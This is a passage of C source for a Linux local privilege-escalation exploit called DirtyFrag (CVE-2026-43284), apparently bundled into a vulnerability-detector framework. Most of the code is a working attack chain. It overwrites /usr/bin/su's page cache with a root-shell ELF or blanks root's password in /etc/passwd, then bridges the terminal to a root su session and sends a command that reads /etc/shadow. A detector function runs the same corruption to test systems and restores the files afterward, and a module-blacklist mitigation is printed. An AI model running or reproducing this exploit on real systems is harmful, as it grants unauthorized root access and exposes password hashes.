   1876   {
   1877     const char *e = getenv("LPE_AUTO_VERIFY");
   1878     if (e && *e == '1') auto_verify = 1;
   1879   }
   1880   int verify_sent = 0;
   1881   int total_ms    = 0;
   1882   for (;;) {
   1883     struct pollfd pfds[2] = {
   1884         {stdin_eof ? -1 : STDIN_FILENO, POLLIN, 0},
   1885         {master, POLLIN, 0},
   1886     };
   1887     int pr = poll(pfds, 2, 200);
   1888     if (pr < 0 && errno != EINTR) break;
   1889     total_ms += 200;
   1890 
   1891     if (pfds[1].revents & POLLIN) {
   1892       ssize_t n = read(master, buf, sizeof(buf));
   1893       if (n <= 0) break;
   1894       (void)write(STDOUT_FILENO, buf, n);
   1895       if (!auto_pw_sent && (size_t)n < sizeof(buf)) {
   1896         buf[n] = 0;
   1897         if (strstr(buf, "Password") || strstr(buf, "password")) {
   1898           /* Empty password — PAM nullok will accept it.
   1899            * (When pam_unix sees an empty passwd field plus
   1900            * nullok it skips the prompt entirely; this branch
   1901            * handles the case where some other PAM module
   1902            * prints a prompt anyway.) */
   1903           (void)write(master, "\n", 1);
   1904           auto_pw_sent = 1;
   1905         }
   1906       }
   1907     }
   1908     if (!stdin_eof && (pfds[0].revents & POLLIN)) {
   1909       ssize_t n = read(STDIN_FILENO, buf, sizeof(buf));
   1910       if (n <= 0) {
   1911         /* stdin EOF — stop reading from it but keep bridging
   1912          * master → stdout so su can still finish auth and run
   1913          * the optional auto-verify command. */
   1914         stdin_eof = 1;
   1915       } else {
   1916         (void)write(master, buf, n);
   1917       }
   1918     }
   1919     if (pfds[1].revents & (POLLHUP | POLLERR)) break;
   1920 
   1921     /* Auto-verify: ~1 s after spawn, send `id; whoami; exit\n` so
   1922      * the bridge captures uid=0 evidence non-interactively even
   1923      * when pam_unix's blank-passwd path skips the prompt. */
   1924     if (auto_verify && !verify_sent && total_ms >= 1000) {
   1925       const char cmd[] = "id; whoami; cat /etc/shadow | head -2; exit\n";
   1926       (void)write(master, cmd, sizeof(cmd) - 1);
   1927       verify_sent = 1;
   1928     }
   1929 
   1930     int   status;
   1931     pid_t w = waitpid(pid, &status, WNOHANG);
   1932     if (w == pid) {
   1933       for (int i = 0; i < 5; i++) {
   1934         struct pollfd pf = {master, POLLIN, 0};
   1935         if (poll(&pf, 1, 50) <= 0) break;
   1936         ssize_t n = read(master, buf, sizeof(buf));
   1937         if (n <= 0) break;
   1938         (void)write(STDOUT_FILENO, buf, n);
   1939       }
   1940       break;
   1941     }
   1942   }
   1943   if (saved_termios_ok) {
   1944     tcsetattr(STDIN_FILENO, TCSANOW, &saved_termios);
   1945   }
   1946   close(master);
   1947   return 0;
   1948 }
   1949 /*
   1950  * DirtyFrag chain — uid=1000 → root.
   1951  *
   1952  * 1. ESP path  (authencesn AF_ALG --corrupt-only): overwrites the first
   1953  *    160 bytes of /usr/bin/su's page-cache with a static x86_64 root-
   1954  *    shell ELF.  Works on every distro tested regardless of PAM nullok
   1955  *    or /etc/passwd contents — once invoked, the patched setuid-root
   1956  *    /usr/bin/su just execs /bin/sh as uid 0.
   1957  *
   1958  * 2. rxrpc path  (Ubuntu fallback): if AF_ALG is sandboxed and the ESP
   1959  *    path can't reach the page cache, fall back to the rxrpc/rxkad
   1960  *    nullok primitive that patches /etc/passwd's root entry empty.
   1961  *    PAM nullok then accepts the empty password during `su -`.
   1962  *
   1963  * 3. Once either target is corrupted, spawn `/usr/bin/su -` inside a
   1964  *    fresh PTY and bridge the user's tty to it.  The bridge handles
   1965  *    both the patched-su (no PAM at all) and the patched-passwd (PAM
   1966  *    nullok) cases uniformly, and works even when the caller is in a
   1967  *    background process group of an ssh-allocated PTY.
   1968  *
   1969  */
   1970 #define _GNU_SOURCE
   1971 #include <errno.h>
   1972 #include <fcntl.h>
   1973 #include <poll.h>
   1974 #include <sched.h>
   1975 #include <signal.h>
   1976 #include <stdint.h>
   1977 #include <stdio.h>
   1978 #include <stdlib.h>
   1979 #include <string.h>
   1980 #include <sys/ioctl.h>
   1981 #include <sys/types.h>
   1982 #include <sys/wait.h>
   1983 #include <termios.h>
   1984 #include <unistd.h>
   1985 
   1986 extern int su_lpe_main(int argc, char **argv);
   1987 extern int rxrpc_lpe_main(int argc, char **argv);
   1988 
   1989 /*
   1990  * The 8 bytes our su payload places at file offset 0x78 — the first
   1991  * instructions of the embedded shell ELF.  Sequence:
   1992  *   31 ff   xor edi, edi
   1993  *   31 f6   xor esi, esi
   1994  *   31 c0   xor eax, eax
   1995  *   b0 6a   mov al, 0x6a   (setgid)
   1996  * Distros' original /usr/bin/su has different bytes here, so this is
   1997  * a reliable post-patch marker.
   1998  *
   1999  * (We don't check offset 0 because /usr/bin/su already has the ELF
   2000  * magic there — both before and after we patch.)
   2001  */
   2002 static const uint8_t su_marker[8] = {
   2003     0x31, 0xff, 0x31, 0xf6, 0x31, 0xc0, 0xb0, 0x6a,
   2004 };
   2005 
   2006 static int su_already_patched(void) {
   2007   int fd = open("/usr/bin/su", O_RDONLY);
   2008   if (fd < 0) return 0;
   2009   uint8_t got[8];
   2010   ssize_t n = pread(fd, got, sizeof(got), 0x78);
   2011   close(fd);
   2012   if (n != sizeof(got)) return 0;
   2013   return memcmp(got, su_marker, sizeof(su_marker)) == 0;
   2014 }
   2015 
   2016 static int passwd_already_patched(void) {
   2017   int fd = open("/etc/passwd", O_RDONLY);
   2018   if (fd < 0) return 0;
   2019   char    head[16];
   2020   ssize_t n = pread(fd, head, sizeof(head), 0);
   2021   close(fd);
   2022   if (n < 9) return 0;
   2023   return memcmp(head, "root::0:0", 9) == 0;
   2024 }
   2025 
   2026 static int either_target_patched(void) {
   2027   return su_already_patched() || passwd_already_patched();
   2028 }
   2029 
   2030 static void silence_stderr(int *saved_fd) {
   2031   *saved_fd = dup(STDERR_FILENO);
   2032   int dn    = open("/dev/null", O_WRONLY);
   2033   if (dn >= 0) {
   2034     dup2(dn, STDERR_FILENO);
   2035     close(dn);
   2036   }
   2037 }
   2038 
   2039 static void restore_stderr(int saved_fd) {
   2040   if (saved_fd >= 0) {
   2041     dup2(saved_fd, STDERR_FILENO);
   2042     close(saved_fd);
   2043   }
   2044 }
   2045 
   2046 static char **append_corrupt_only(int argc, char **argv, int *new_argc) {
   2047   static char *flag = "--corrupt-only";
   2048   static char *buf[64];
   2049   int          n = argc < 60 ? argc : 60;
   2050   for (int i = 0; i < n; i++) buf[i] = argv[i];
   2051   buf[n]     = flag;
   2052   buf[n + 1] = NULL;
   2053   *new_argc  = n + 1;
   2054   return buf;
   2055 }
   2056 
   2057 static void exec_su_login(void) {
   2058   const char *paths[] = {
   2059       "/bin/su", "/usr/bin/su", "/sbin/su", "/usr/sbin/su", NULL,
   2060   };
   2061   for (int i = 0; paths[i]; i++) execl(paths[i], "su", "-", (char *)NULL);
   2062   execlp("su", "su", "-", (char *)NULL);
   2063 }
   2064 
   2065 /*
   2066  * Spawn `/usr/bin/su -` in a fresh PTY and bridge our tty to it.
   2067  */
   2068 static int run_root_pty(void) {
   2069   int master = posix_openpt(O_RDWR | O_NOCTTY);
   2070   if (master < 0) return -1;
   2071   if (grantpt(master) < 0 || unlockpt(master) < 0) {
   2072     close(master);
   2073     return -1;
   2074   }
   2075   char *slave_name = ptsname(master);
   2076   if (!slave_name) {
   2077     close(master);
   2078     return -1;
   2079   }
   2080 
   2081   struct winsize ws;
   2082   if (ioctl(STDIN_FILENO, TIOCGWINSZ, &ws) == 0) ioctl(master, TIOCSWINSZ, &ws);
   2083 
   2084   pid_t pid = fork();
   2085   if (pid < 0) {
   2086     close(master);
   2087     return -1;
   2088   }
   2089   if (pid == 0) {
   2090     setsid();
   2091     int slave = open(slave_name, O_RDWR);
   2092     if (slave < 0) _exit(127);
   2093     ioctl(slave, TIOCSCTTY, 0);
   2094     dup2(slave, 0);
   2095     dup2(slave, 1);
   2096     dup2(slave, 2);
   2097     if (slave > 2) close(slave);
   2098     close(master);
   2099     exec_su_login();
   2100     _exit(127);
   2101   }
   2102 
   2103   signal(SIGTTOU, SIG_IGN);
   2104   signal(SIGTTIN, SIG_IGN);
   2105   signal(SIGPIPE, SIG_IGN);
   2106   signal(SIGHUP, SIG_IGN);
   2107   (void)setpgid(0, 0);
   2108   (void)tcsetpgrp(STDIN_FILENO, getpid());
   2109 
   2110   struct termios saved_termios;
   2111   int            restore_termios = 0;
   2112   if (tcgetattr(STDIN_FILENO, &saved_termios) == 0) {
   2113     struct termios raw = saved_termios;
   2114     cfmakeraw(&raw);
   2115     if (tcsetattr(STDIN_FILENO, TCSANOW, &raw) == 0) restore_termios = 1;
   2116   }
   2117 
   2118   int  auto_pw_sent      = 0;
   2119   int  stdin_eof         = 0;
   2120   int  saw_master_output = 0;
   2121   int  total_ms          = 0;
   2122   char buf[4096];
   2123 
   2124   for (;;) {
   2125     struct pollfd pfds[2] = {
   2126         {stdin_eof ? -1 : STDIN_FILENO, POLLIN, 0},
   2127         {master, POLLIN, 0},
   2128     };
   2129     int pr = poll(pfds, 2, 200);
   2130     if (pr < 0 && errno != EINTR) break;
   2131     total_ms += 200;
   2132 
   2133     if (pfds[1].revents & POLLIN) {
   2134       ssize_t n = read(master, buf, sizeof(buf));
   2135       if (n <= 0) break;
   2136       saw_master_output = 1;
   2137       (void)write(STDOUT_FILENO, buf, n);
   2138       if (!auto_pw_sent && n < (ssize_t)sizeof(buf)) {
   2139         buf[n] = 0;
   2140         if (strstr(buf, "Password") || strstr(buf, "password")) {
   2141           (void)write(master, "\n", 1);
   2142           auto_pw_sent = 1;
   2143         }
   2144       }
   2145     }
   2146     if (!stdin_eof && (pfds[0].revents & POLLIN)) {
   2147       ssize_t n = read(STDIN_FILENO, buf, sizeof(buf));
   2148       if (n <= 0)
   2149         stdin_eof = 1;
   2150       else
   2151         (void)write(master, buf, n);
   2152     }
   2153     if (pfds[1].revents & (POLLHUP | POLLERR)) break;
   2154 
   2155     if (!auto_pw_sent && !saw_master_output && total_ms >= 1500) {
   2156       (void)write(master, "\n", 1);
   2157       auto_pw_sent = 1;
   2158     }
   2159 
   2160     int   status;
   2161     pid_t w = waitpid(pid, &status, WNOHANG);
   2162     if (w == pid) {
   2163       for (int i = 0; i < 5; i++) {
   2164         struct pollfd pf = {master, POLLIN, 0};
   2165         if (poll(&pf, 1, 50) <= 0) break;
   2166         ssize_t n = read(master, buf, sizeof(buf));
   2167         if (n <= 0) break;
   2168         (void)write(STDOUT_FILENO, buf, n);
   2169       }
   2170       break;
   2171     }
   2172   }
   2173 
   2174   if (restore_termios) tcsetattr(STDIN_FILENO, TCSANOW, &saved_termios);
   2175   close(master);
   2176   return 0;
   2177 }
   2178 
   2179 int main(int argc, char **argv) {
   2180   int    verbose   = (getenv("DIRTYFRAG_VERBOSE") != NULL);
   2181   int    force_esp = 0, force_rxrpc = 0;
   2182   int    saved_err = -1;
   2183   int    rc        = 1;
   2184   int    new_argc;
   2185   char **co_argv;
   2186 
   2187   for (int i = 1; i < argc; i++) {
   2188     if (!strcmp(argv[i], "--force-esp"))
   2189       force_esp = 1;
   2190     else if (!strcmp(argv[i], "--force-rxrpc"))
   2191       force_rxrpc = 1;
   2192     else if (!strcmp(argv[i], "-v") || !strcmp(argv[i], "--verbose"))
   2193       verbose = 1;
   2194   }
   2195 
   2196   if (getuid() == 0) {
   2197     execlp("/bin/bash", "bash", (char *)NULL);
   2198     _exit(1);
   2199   }
   2200 
   2201   co_argv = append_corrupt_only(argc, argv, &new_argc);
   2202 
   2203   if (!verbose) silence_stderr(&saved_err);
   2204 
   2205   if (force_rxrpc) {
   2206     rc = rxrpc_lpe_main(new_argc, co_argv);
   2207     for (int i = 0; !passwd_already_patched() && i < 3; i++) rc = rxrpc_lpe_main(new_argc, co_argv);
   2208   } else if (force_esp) {
   2209     rc = su_lpe_main(new_argc, co_argv);
   2210   } else {
   2211     rc = su_lpe_main(new_argc, co_argv);
   2212     if (!su_already_patched()) {
   2213       rc = rxrpc_lpe_main(new_argc, co_argv);
   2214       for (int i = 0; !passwd_already_patched() && i < 3; i++) rc = rxrpc_lpe_main(new_argc, co_argv);
   2215     }
   2216   }
   2217 
   2218   int patched = either_target_patched();
   2219 
   2220   if (!verbose) restore_stderr(saved_err);
   2221 
   2222   if (patched) {
   2223     (void)run_root_pty();
   2224     return 0;
   2225   }
   2226 
   2227   if (g_cve_ctx.verbose) dprintf(2, "cve-2026-43284: failed (rc=%d)\n", rc);
   2228   return rc ? rc : 1;
   2229 }
   2230 
   2231 /* ---- detector plumbing ---- */
   2232 
   2233 static int detector_su_already_patched(void) {
   2234   static const uint8_t marker[8] = {
   2235       0x31, 0xff, 0x31, 0xf6, 0x31, 0xc0, 0xb0, 0x6a,
   2236   };
   2237   int fd = open("/usr/bin/su", O_RDONLY);
   2238   if (fd < 0) return 0;
   2239   uint8_t got[8];
   2240   ssize_t n = pread(fd, got, sizeof(got), 0x78);
   2241   close(fd);
   2242   if (n != sizeof(got)) return 0;
   2243   return memcmp(got, marker, sizeof(got)) == 0;
   2244 }
   2245 
   2246 static int detector_passwd_already_patched(void) {
   2247   int fd = open("/etc/passwd", O_RDONLY);
   2248   if (fd < 0) return 0;
   2249   char    head[16];
   2250   ssize_t n = pread(fd, head, sizeof(head), 0);
   2251   close(fd);
   2252   if (n < 9) return 0;
   2253   return memcmp(head, "root::0:0", 9) == 0;
   2254 }
   2255 
   2256 int detector_cve_2026_43284(struct cve_context *ctx) {
   2257   (void)ctx;
   2258 
   2259   if (ctx->verbose) {
   2260     g_su_verbose = 1;
   2261     setenv("DIRTYFRAG_VERBOSE", "1", 1);
   2262   }
   2263   if (detector_su_already_patched() || detector_passwd_already_patched()) return 3;
   2264 
   2265   /* Back up both artifacts before any corruption attempt. */
   2266   backup_su();
   2267   backup_passwd();
   2268 
   2269   { /* ESP / xfrm path */
   2270     char *argv[] = {"cve-2026-43284", "--corrupt-only", NULL};
   2271     if (su_lpe_main(2, argv) == 0 && detector_su_already_patched()) {
   2272       /* System is vulnerable — restore artifacts before returning. */
   2273       revert_su();
   2274       revert_passwd();
   2275       return 1;
   2276     }
   2277     revert_su();
   2278   }
   2279 
   2280   { /* rxrpc / rxkad fallback */
   2281     setenv("DIRTYFRAG_CORRUPT_ONLY", "1", 1);
   2282     char *argv[] = {"cve-2026-43284", "--corrupt-only", NULL};
   2283     int   rc     = rxrpc_lpe_main(2, argv);
   2284     unsetenv("DIRTYFRAG_CORRUPT_ONLY");
   2285     if (rc == 0 && detector_passwd_already_patched()) {
   2286       /* System is vulnerable — restore artifacts before returning. */
   2287       revert_su();
   2288       revert_passwd();
   2289       return 1;
   2290     }
   2291   }
   2292 
   2293   /* Restore any artifacts that may have been touched. */
   2294   revert_su();
   2295   revert_passwd();
   2296 
   2297   return 0;
   2298 }
   2299 
   2300 __attribute__((constructor)) void detector_cve_2026_43284_setup(void) {
   2301   detector_queue_append("CVE-2026-43284", "DirtyFrag",
   2302                         "Dirty Frag (xfrm-ESP Page-Cache Write): "
   2303                         "Run the following to blacklist vulnerable modules:\n"
   2304                         "  sh -c \"printf 'install esp4 /bin/false\\ninstall esp6 /bin/false\\n"
   2305                         "install rxrpc /bin/false\\n' > /etc/modprobe.d/cve-2026-43284.conf; "
   2306                         "rmmod esp4 esp6 rxrpc 2>/dev/null ; echo 3 > /proc/sys/vm/drop_caches; true\"\n"
   2307                         "  Then update your kernel once distribution patches are available.",
   2308                         detector_cve_2026_43284);
   2309 }